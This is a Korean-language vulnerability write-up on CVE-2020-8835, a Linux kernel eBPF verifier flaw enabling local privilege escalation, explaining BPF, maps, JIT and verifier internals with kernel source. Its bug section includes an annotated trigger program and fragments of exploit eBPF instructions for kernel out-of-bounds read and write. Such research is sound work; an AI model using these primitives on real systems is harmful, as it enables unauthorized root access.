CVE-2020-8835

Pwnable
Research
CVE

라온화이트햇 핵심연구팀 조진호

sumary

리눅스 커널의 eBPF에서 LPE가 발생한다. 이는 kernel/bpf/verifier.c에서 검증하는 과정에서 발생한다. CVE-2020-8835는 pwn2own 2020에서 $30,000를 받은 리눅스 LPE취약점이다.

BPF

berckly packet filter. 패킷에 것는 필터링. eBPF가 아닌 BPF는 간단한 구조로 되어있다. eBPF와 구분하기 위해 그냥 BPF는 classic BPF로 cBPF로 부른다. 두개의 레지스터만 가지고 있다.

struct sock_filter {	/* Filter block */
	__u16	code;   /* Actual filter code */
	__u8	jt;	/* Jump true */
	__u8	jf;	/* Jump false */
	__u32	k;      /* Generic multiuse field */
};

k는 여러가지 용도로 사용되는 변수이고 true일때 뛰는 오프셋인 jt, false일때 뛰는 오프셋인 jf가 있다. 실제 사용은 이런 식으로 사용된다.

#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
/* ... */

/* From the example above: tcpdump -i em1 port 22 -dd */
struct sock_filter code[] = {
	{ 0x28,  0,  0, 0x0000000c },
	{ 0x15,  0,  8, 0x000086dd },
	{ 0x30,  0,  0, 0x00000014 },
	{ 0x15,  2,  0, 0x00000084 },
	{ 0x15,  1,  0, 0x00000006 },
	{ 0x15,  0, 17, 0x00000011 },
	{ 0x28,  0,  0, 0x00000036 },
	{ 0x15, 14,  0, 0x00000016 },
	{ 0x28,  0,  0, 0x00000038 },
	{ 0x15, 12, 13, 0x00000016 },
	{ 0x15,  0, 12, 0x00000800 },
	{ 0x30,  0,  0, 0x00000017 },
	{ 0x15,  2,  0, 0x00000084 },
	{ 0x15,  1,  0, 0x00000006 },
	{ 0x15,  0,  8, 0x00000011 },
	{ 0x28,  0,  0, 0x00000014 },
	{ 0x45,  6,  0, 0x00001fff },
	{ 0xb1,  0,  0, 0x0000000e },
	{ 0x48,  0,  0, 0x0000000e },
	{ 0x15,  2,  0, 0x00000016 },
	{ 0x48,  0,  0, 0x00000010 },
	{ 0x15,  0,  1, 0x00000016 },
	{ 0x06,  0,  0, 0x0000ffff },
	{ 0x06,  0,  0, 0x00000000 },
};

struct sock_fprog bpf = {
	.len = ARRAY_SIZE(code),
	.filter = code,
};

sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock < 0)
	/* ... bail out ... */

ret = setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf));
if (ret < 0)
	/* ... bail out ... */

close(sock);

seccomp걸린 바이너리를 자주 봤다면 seccomp에서 syscall필터링 주는 방식과 똑같은 것을 알 수 있다. tcpdump를 이용하면 어떤제약조건을 어떻게 검사하는지, 코드들을 자세히 볼 수 있다.

 ~/Workspace sudo tcpdump -d src 1.1.1.1 
(000) ldh      [12]
(001) jeq      #0x800           jt 2	jf 4
(002) ld       [26]
(003) jeq      #0x1010101       jt 8	jf 9
(004) jeq      #0x806           jt 6	jf 5
(005) jeq      #0x8035          jt 6	jf 9
(006) ld       [28]
(007) jeq      #0x1010101       jt 8	jf 9
(008) ret      #262144
(009) ret      #0
 ~/Workspace sudo tcpdump -dd src 1.1.1.1
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 2, 0x00000800 },
{ 0x20, 0, 0, 0x0000001a },
{ 0x15, 4, 5, 0x01010101 },
{ 0x15, 1, 0, 0x00000806 },
{ 0x15, 0, 3, 0x00008035 },
{ 0x20, 0, 0, 0x0000001c },
{ 0x15, 0, 1, 0x01010101 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },

위코드들이 들어가는 커널 코드는 net/packet/af_packet.c에서 확인할 수 있다.

static int packet_rcv(struct sk_buff *skb, struct net_device *dev,
		      struct packet_type *pt, struct net_device *orig_dev)
{
	struct sock *sk;
	struct sockaddr_ll *sll;
	struct packet_sock *po;
	u8 *skb_head = skb->data;
	int skb_len = skb->len;
	unsigned int snaplen, res;
	bool is_drop_n_account = false;

	if (skb->pkt_type == PACKET_LOOPBACK)
		goto drop;

	sk = pt->af_packet_priv;
	po = pkt_sk(sk);

	if (!net_eq(dev_net(dev), sock_net(sk)))
		goto drop;

	skb->dev = dev;

	...

	res = run_filter(skb, sk, snaplen);
static unsigned int run_filter(struct sk_buff *skb,
			       const struct sock *sk,
			       unsigned int res)
{
	struct sk_filter *filter;

	rcu_read_lock();
	filter = rcu_dereference(sk->sk_filter);
	if (filter != NULL)
		res = bpf_prog_run_clear_cb(filter->prog, skb);
	rcu_read_unlock();

	return res;
}
static inline u32 bpf_prog_run_clear_cb(const struct bpf_prog *prog,
					struct sk_buff *skb)
{
	u8 *cb_data = bpf_skb_cb(skb);
	u32 res;

	if (unlikely(prog->cb_access))
		memset(cb_data, 0, BPF_SKB_CB_LEN);

	preempt_disable();
	res = BPF_PROG_RUN(prog, skb);
	preempt_enable();
	return res;
}
#define BPF_PROG_RUN(prog, ctx)	({				\
	u32 ret;						\
	cant_sleep();						\
	if (static_branch_unlikely(&bpf_stats_enabled_key)) {	\
		struct bpf_prog_stats *stats;			\
		u64 start = sched_clock();			\
		ret = (*(prog)->bpf_func)(ctx, (prog)->insnsi);	\
		stats = this_cpu_ptr(prog->aux->stats);		\
		u64_stats_update_begin(&stats->syncp);		\
		stats->cnt++;					\
		stats->nsecs += sched_clock() - start;		\
		u64_stats_update_end(&stats->syncp);		\
	} else {						\
		ret = (*(prog)->bpf_func)(ctx, (prog)->insnsi);	\
	}							\
	ret; })

ret = (*(prog)->bpf_func)(ctx, (prog)->insnsi);로 실행한다. prog의 구조체

struct bpf_prog {
	u16			pages;		/* Number of allocated pages */
	u16			jited:1,	/* Is our filter JIT'ed? */
				jit_requested:1,/* archs need to JIT the prog */
				gpl_compatible:1, /* Is filter GPL compatible? */
				cb_access:1,	/* Is control block accessed? */
				dst_needed:1,	/* Do we need dst entry? */
				blinded:1,	/* Was blinded */
				is_func:1,	/* program is a bpf function */
				kprobe_override:1, /* Do we override a kprobe? */
				has_callchain_buf:1, /* callchain buffer allocated? */
				enforce_expected_attach_type:1; /* Enforce expected_attach_type checking at attach time */
	enum bpf_prog_type	type;		/* Type of BPF program */
	enum bpf_attach_type	expected_attach_type; /* For some prog types */
	u32			len;		/* Number of filter blocks */
	u32			jited_len;	/* Size of jited insns in bytes */
	u8			tag[BPF_TAG_SIZE];
	struct bpf_prog_aux	*aux;		/* Auxiliary fields */
	struct sock_fprog_kern	*orig_prog;	/* Original BPF program */
	unsigned int		(*bpf_func)(const void *ctx,
					    const struct bpf_insn *insn);
	/* Instructions for interpreter */
	union {
		struct sock_filter	insns[0];
		struct bpf_insn		insnsi[0];
	};
};

바이트 코드들은 JIT컴파일 되어 세팅하게 된다. /arch/x86/net/bpf_jit_comp32.c

struct bpf_prog *bpf_int_jit_compile(struct bpf_prog *prog)
{
	struct bpf_binary_header *header = NULL;
	struct bpf_prog *tmp, *orig_prog = prog;
	int proglen, oldproglen = 0;
	struct jit_context ctx = {};
	bool tmp_blinded = false;
	u8 *image = NULL;
	int *addrs;
	int pass;
	int i;

	...

	addrs = kmalloc_array(prog->len, sizeof(*addrs), GFP_KERNEL);
	if (!addrs) {
		prog = orig_prog;
		goto out;
	}

	...

	/*
	 * JITed image shrinks with every pass and the loop iterates
	 * until the image stops shrinking. Very large BPF programs
	 * may converge on the last pass. In such case do one more
	 * pass to emit the final image.
	 */
	for (pass = 0; pass < 20 || image; pass++) {
		proglen = do_jit(prog, addrs, image, oldproglen, &ctx);
		if (proglen <= 0) {

		...

		oldproglen = proglen;
		cond_resched();
	}

	if (bpf_jit_enable > 1)
		bpf_jit_dump(prog->len, proglen, pass + 1, image);

	if (image) {
		bpf_jit_binary_lock_ro(header);
		prog->bpf_func = (void *)image;
		prog->jited = 1;
		prog->jited_len = proglen;
	} else {
		prog = orig_prog;
	}

	...

}

JIT 컴파일 된 코드는 이런 실행 함수에서 실행되게 된다. ctf에서 자주보던 vm과 동일하게 생겼다.

static u64 __no_fgcse ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn, u64 *stack)
{
#define BPF_INSN_2_LBL(x, y)    [BPF_##x | BPF_##y] = &&x##_##y

...

select_insn:
	goto *jumptable[insn->code];

	/* ALU */
#define ALU(OPCODE, OP)			\
	ALU64_##OPCODE##_X:		\
		DST = DST OP SRC;	\
		CONT;			\
	ALU_##OPCODE##_X:		\
		DST = (u32) DST OP (u32) SRC;	\
		CONT;			\
	ALU64_##OPCODE##_K:		\
		DST = DST OP IMM;		\
		CONT;			\

아래부터는 실제 코드 예시.

input eBPF code: BPF_LD_MAP_FD(BPF_REG_9, mapfd). insn ⇒ JIT 컴파일 후 나온 코드

gef  p insn
$53 = {
  code = 0x18,
  dst_reg = 0x9,
  src_reg = 0x0,
  off = 0x0,
  imm = 0x607c000
}

goto문으로 인해 특정 주소로 점프

gef  l *jumptable[0x18]
0xffffffff8114949a is in ___bpf_prog_run (kernel/bpf/core.c:1430).
...
1429		LD_IMM_DW:
1430			DST = (u64) (u32) insn[0].imm | ((u64) (u32) insn[1].imm) << 32;
1431			insn++;
1432			CONT;
1433		ALU_ARSH_X:
1434			DST = (u64) (u32) (((s32) DST) >> SRC);

실제 점프 확인

1429	 	LD_IMM_DW:
  1430	 		DST = (u64) (u32) insn[0].imm | ((u64) (u32) insn[1].imm) << 32;
   1431	 		insn++;
   1432	 		CONT;

eBPF

기존BPF는 A, X두개의 레지스터만 있었는데 R0 ~ R10까지 확장되었다. 또한 메모리와 스택을 사용 가능하다. 제한적인 BPF와 달리 거의 어셈블리와 거의 동일하게 사용 가능해졌다. 기본적인 사용은 아래와 같이 가능하다.

BPF_MOV64_IMM(BPF_REG_3, 1)  // R3 = 1

/include/linux/filter.c

#define BPF_MOV64_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

그 외 예제들

BPF_ALU64_REG(BPF_ARSH, BPF_REG_7, BPF_REG_5) // R7 >> r5
BPF_JMP_IMM(BPF_JNE, BPF_REG_3, 0, 3)         // if (REG3 != 0) jmp 3
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 24) // R3 = [R9 + 24]
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0)  // [R8+0] = R6

eBPF프로그램이 처음 로드될 때 BPF_PROG_LOAD명령을 실행하는데 이 명령은 프로그램의 file descriptor를 리턴한다.

union bpf_attr attr = {
		.prog_type = type,
		.insns = ptr_to_u64(insns),
		.insn_cnt = insn_cnt,
		.license = ptr_to_u64(license),
		.log_buf = ptr_to_u64(bpf_log_buf),
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));

Maps

데이터를 저장할 때 eBPF 프로그램은 map을 사용할 수 있다. 일반적인 key-value로 이루어진 맵이다. 만들어진 맵 또한 file descriptor를 이용해 접근 가능하다.

#define BPF_MAP_CREATE_LAST_FIELD btf_value_type_id
/* called via syscall */
static int map_create(union bpf_attr *attr)
{
	int numa_node = bpf_map_attr_numa_node(attr);
	struct bpf_map_memory mem;
	struct bpf_map *map;
	int f_flags;
	int err;

	...

	/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
	map = find_and_alloc_map(attr);
	if (IS_ERR(map))
		return PTR_ERR(map);

	// bpf_obj_name_cpy는 copy_from_user와 같은 역할
	err = bpf_obj_name_cpy(map->name, attr->map_name);
	if (err)
		goto free_map;

	...

	if (attr->btf_key_type_id || attr->btf_value_type_id) {
		struct btf *btf;

		btf = btf_get_by_fd(attr->btf_fd);

		...

		map->btf = btf;
		map->btf_key_type_id = attr->btf_key_type_id;
		map->btf_value_type_id = attr->btf_value_type_id;
	} else {
		map->spin_lock_off = -EINVAL;
	}

	err = security_bpf_map_alloc(map);
	if (err)
		goto free_map;

	err = bpf_map_alloc_id(map);
	if (err)
		goto free_map_sec;

	err = bpf_map_new_fd(map, f_flags);

	...

	return err;

free_map_sec:
	security_bpf_map_free(map);
free_map:
	btf_put(map->btf);
	bpf_map_charge_move(&mem, &map->memory);
	map->ops->map_free(map);
	bpf_map_charge_finish(&mem);
	return err;
}

map = find_and_alloc_map(attr);을 이용해 새로 메모리를 할당하고, 이름 붙히고, 넣을 아이디 생성하고 fd에 연결시켜서 리턴한다. 결과적으로 mmap과 비슷하다.

JIT

퍼포먼스적인 이유로 eBPF로 만든 프로그램은 JIT컴파일 되어 기계어로 바뀐다. 바꾼 기계어를 그대로 실행한다. 위 소켓에서 bpf필터링 걸 때 봤던 매크로다.

#define BPF_PROG_RUN(prog, ctx)	({				\
	u32 ret;						\
	cant_sleep();						\
	if (static_branch_unlikely(&bpf_stats_enabled_key)) {	\
		struct bpf_prog_stats *stats;			\
		u64 start = sched_clock();			\
		ret = (*(prog)->bpf_func)(ctx, (prog)->insnsi);	\
		stats = this_cpu_ptr(prog->aux->stats);		\
		u64_stats_update_begin(&stats->syncp);		\
		stats->cnt++;					\
		stats->nsecs += sched_clock() - start;		\
		u64_stats_update_end(&stats->syncp);		\
	} else {						\
		ret = (*(prog)->bpf_func)(ctx, (prog)->insnsi);	\
	}							\
	ret; })

위 코드에서 (*(prog)->bpf_func)(ctx, (prog)→insnsi);에서 JIT 컴파일 된 바이너리를 실행한다. 컴파일 하는 시점은 처음 프로그램을 올릴때인 BPF_PROG_LOAD명령을 실행할 때이다.

/* last field in 'union bpf_attr' used by this command */
#define	BPF_PROG_LOAD_LAST_FIELD attach_prog_fd

static int bpf_prog_load(union bpf_attr *attr, union bpf_attr __user *uattr)
{
	enum bpf_prog_type type = attr->prog_type;
	struct bpf_prog *prog;
	int err;
	char license[128];
	bool is_gpl;

	...

	bpf_prog_load_fixup_attach_type(attr);
	if (bpf_prog_load_check_attach(type, attr->expected_attach_type,
				       attr->attach_btf_id,
				       attr->attach_prog_fd))
		return -EINVAL;

	/* plain bpf_prog allocation */
	prog = bpf_prog_alloc(bpf_prog_size(attr->insn_cnt), GFP_USER);
	if (!prog)
		return -ENOMEM;
	
	,,,

	atomic64_set(&prog->aux->refcnt, 1);
	prog->gpl_compatible = is_gpl ? 1 : 0;

	if (bpf_prog_is_dev_bound(prog->aux)) {
		err = bpf_prog_offload_init(prog, attr);
		if (err)
			goto free_prog;
	}

	...

	/* run eBPF verifier */
	// JIT 컴파일 되는 시점
	err = bpf_check(&prog, attr, uattr);
	if (err < 0)
		goto free_used_maps;

	prog = bpf_prog_select_runtime(prog, &err);
	if (err < 0)
		goto free_used_maps;

	err = bpf_prog_alloc_id(prog);
	if (err)
		goto free_used_maps;

	...
}

이렇게 만들어진 코드를 verifier(/kernel/bpf/verifier.c)에서 검사한다. 검사하는 과정중 코드의 흐름을 체크하는 과정은 크게 다섯가지이다.

데이터 플로우도 비슷하다. 0 divide나 그런 간단한 것을 확인한다.

검증을 마친 뒤 JIT컴파일 되고, 실행된다. 즉 Bytecode → Verifier → JIT → program run

bug

취약점은 바로 위에서 설명된 verifier에서 트리거 된다. verifier는 JIT컴파일 중에 32비트 64비트마다 다른 연산을 가지고 있다. bpf_reg_state구조체를 보면 현재 레지스터가 가질 수 있는 값의 범위를 정의하고, 실제 가지고 있는 값을 저장하고 있다.(u = unsigned, s = signed)

   /* For scalar types (SCALAR_VALUE), this represents our knowledge of
	 * the actual value.
	 * For pointer types, this represents the variable part of the offset
	 * from the pointed-to object, and is shared with all bpf_reg_states
	 * with the same id as us.
	 */
	struct tnum var_off;
	/* Used to determine if any memory access using this register will
	 * result in a bad access.
	 * These refer to the same value as var_off, not necessarily the actual
	 * contents of the register.
	 */
	s64 smin_value; /* minimum possible (s64)value */
	s64 smax_value; /* maximum possible (s64)value */
	u64 umin_value; /* minimum possible (u64)value */
	u64 umax_value; /* maximum possible (u64)value */

var_off는 value와 mask값을 가지고 있고, value는 실제 값이다. 만약 value가 0x1111이고 mask가 0x220000면 value는 0x2211110x1111을 가지게 된다. 취약점이 발생한 함수인 __reg_bound_offset32이다.

static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
	u64 mask = 0xffffFFFF;
	struct tnum range = tnum_range(reg->umin_value & mask,
				       reg->umax_value & mask);
	struct tnum lo32 = tnum_cast(reg->var_off, 4);
	struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

	reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

reg→umin_value & 0xffffffff를 하고 있는데 컴파일 시 최소값을 1, 최대값을 2**32+1로 주게 된다면 범위는 [1, 1]이 된다. 이렇게 만든 값을 tnum_intersect로 내보내 상위 비트와 or연산을 하여 var_off를 완성한다.

이를 이용하려면 레지스터의 제약조건을 맞춰주면 된다.

여기서 실제 값을 세팅하려고 BPF_MOV64_REG(BPF_REG_0, 2) 이런식으로 세팅하게 되면 range는 [2, 2]가 되어버린다. 이를 우회하기 위해 map을 만들고 메모리를 바꾸고, 바뀐 메모리를 불러 검사하는 과정으로 진행한다. oob를 위한 range가 변조 된 r6 준비

// 할당된 메모리 주소
0: (18) r9 = 0xffff8880060cc000
2: (bf) r1 = r9
3: (bf) r2 = r10
4: (07) r2 += -4
5: (62) *(u32 *)(r10 -4) = 0
6: (85) call bpf_map_lookup_elem#1
7: (55) if r0 != 0x0 goto pc+1
 R0_w=inv0 R9_w=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
8: (95) exit

// memory 내 값을 변조
// update_elem(0, 2); <= 읽을 메모리
// update_elem(1, 0);

// memory 읽기
from 7 to 9: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
9: (79) r6 = *(u64 *)(r0 +0)
 R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
10: (b7) r0 = 0
// 읽은 값 비교 (min)
11: (35) if r6 >= 0x1 goto pc+1
 R0_w=inv0 R6_w=inv0 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
12: (95) exit

// 읽은 값 비교 (max) 
from 11 to 13: R0_w=inv0 R6_w=inv(id=0,umin_value=1) R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
13: (18) r7 = 0x100000001
15: (bd) if r6 <= r7 goto pc+1
 R0_w=inv0 R6_w=inv(id=0,umin_value=4294967298) R7_w=inv4294967297 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
16: (95) exit

// jmp32 oob (r6 range = [1, 1])
from 15 to 17: R0_w=inv0 R6_w=inv(id=0,umin_value=1,umax_value=4294967297,var_off=(0x0; 0x1ffffffff)) R7_w=inv4294967297 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
17: (56) if w6 != 0x5 goto pc+1
 R0_w=inv0 R6_w=inv(id=0,umin_value=5,umax_value=4294967297,var_off=(0x5; 0x100000000)) R7_w=inv4294967297 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
18: (95) exit

// 실제 r6 = 2 연산후 r2는 (r6&2) >> 1 == 1. 하지만 위에서 range를 [1, 1]로 인식해서 (1&2) >> 1
from 17 to 19: R0=inv0 R6=inv(id=0,umin_value=1,umax_value=4294967297,var_off=(0x1; 0x100000000)) R7=inv4294967297 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
19: (57) r6 &= 2
20: (77) r6 >>= 1
21: (bf) r1 = r9
22: (bf) r2 = r10
23: (07) r2 += -4
24: (62) *(u32 *)(r10 -4) = 1
25: (85) call bpf_map_lookup_elem#1
26: (55) if r0 != 0x0 goto pc+1
 R0_w=inv0 R6_w=inv0 R7=inv4294967297 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????
27: (95) exit

실제 r6가 변조되어 oob트리거

31: (27) r6 *= 272 // 현재 r6 = 1
32: (bf) r1 = r9
33: (bf) r2 = r10
34: (07) r2 += -4
35: (62) *(u32 *)(r10 -4) = 0
36: (85) call bpf_map_lookup_elem#1
37: (55) if r0 != 0x0 goto pc+1  // R6=inv0 JIT컴파일 결과 R6는 scalar 0 으로 인식. oob 체크 우회. 실제로는 1
 R0=inv0 R6=inv0 R7=inv0 R9=map_ptr(id=0,off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmm????

계속 나오는 call bpf_map_lookup_elem은 메모리 건드는것. 코딩 컨벤션 어셈과 똑같다.

void bpf_map_lookup_elem(map, void *key. ...);
void bpf_map_update_elem(map, void *key, ..., __u64 flags);
void bpf_map_delete_elem(map, void *key);

이후 할당된 map주변에서 oob로 적당히 커널 주소 읽고 커널 익스. write도 map에 쓰듯이 똑같이 트리거 할 수 있다.

BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 0, 23), // op=0 -> read aslr
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MAP_GET_ADDR(4, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0),
BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 1, 22), // op=1 -> write btf
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0),
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_MAP_GET(2, BPF_REG_8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 2, 23), // op=2 -> read attr
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x50),
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MAP_GET_ADDR(4, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0),
BPF_EXIT_INSN(),

reference

https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification

https://wariua.github.io/facility/extended-bpf.html

https://www.kernel.org/doc/Documentation/networking/filter.txt

http://www.tcpdump.org/papers/bpf-usenix93.pdf

https://www.netronome.com/m/documents/demystify-ebpf-jit-compiler.pdf

https://github.com/DayJun/Blogs/blob/master/Articles/CVES/CVE-2020-8835/